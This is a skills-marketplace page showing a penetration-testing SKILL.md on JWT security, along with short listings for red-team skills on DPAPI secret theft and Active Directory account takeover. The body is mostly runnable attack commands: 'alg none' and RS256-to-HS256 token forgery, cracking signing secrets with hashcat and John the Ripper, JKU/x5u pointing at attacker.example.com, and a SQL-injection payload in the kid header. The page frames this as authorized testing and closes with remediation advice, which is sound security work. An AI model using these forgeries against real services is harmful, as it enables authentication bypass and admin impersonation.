菜单
Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill testing-jwt-token-security命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
基于 SOC 职业分类
正在显示 SKILL.md
| name | testing-jwt-token-security |
| description | Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","jwt","authentication","web-security","token-security","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
| mitre_attack | ["T1190","T1059.007","T1505.003","T1083","T1027"] |
pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)pip install pyjwt)apt install hashcat)Extract and examine the header, payload, and signature components.
# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}
# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py ""
Attempt to forge tokens by setting the algorithm to "none".
# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a
# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $FORGED" \
"https://target.example.com/api/admin/users"
echo
done
If the server uses RS256, try switching to HS256 and signing with the public key.
# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl
# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json
# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
# Create forged payload
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
If HS256 is used, attempt to crack the signing secret.
# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
Modify JWT claims to escalate privileges or bypass authorization.
# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
-pc role -pv admin
# Test common claim attacks:
# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL
# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)
# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
-pc sub -pv "admin@target.com" \
-pc role -pv "superadmin"
Assess token expiration enforcement and revocation capabilities.
# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# Test token with far-future expiration
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF
# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout
# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT
| Concept | Description |
|---|---|
| Algorithm None Attack | Removing signature verification by setting alg to none |
| Algorithm Confusion | Switching from RS256 to HS256 and signing with the public key as HMAC secret |
| HMAC Brute Force | Cracking weak HS256 signing secrets using wordlists or brute force |
| JKU/x5u Injection | Pointing JWT header URLs to attacker-controlled key servers |
| KID Injection | Exploiting SQL injection or path traversal in the Key ID header parameter |
| Claim Tampering | Modifying payload claims (role, sub, permissions) after compromising the signing key |
| Token Revocation | The ability (or inability) to invalidate tokens before their expiration |
| JWE vs JWS | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |
| Tool | Purpose |
|---|---|
| jwt_tool | Comprehensive JWT testing toolkit with automated attack modules |
| Burp JWT Editor | Burp Suite extension for real-time JWT manipulation |
| Hashcat | GPU-accelerated HMAC secret brute-forcing (mode 16500) |
| John the Ripper | CPU-based JWT secret cracking |
| PyJWT | Python library for programmatic JWT creation and manipulation |
| jwt.io | Online JWT decoder for quick analysis (do not paste production tokens) |
The JWT library accepts "alg":"none" tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.
The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.
An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.
The kid header parameter is used in a SQL query to look up signing keys. Injecting ' UNION SELECT 'attacker_secret' -- allows the attacker to control the signing key.
## JWT Security Finding
**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures
### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets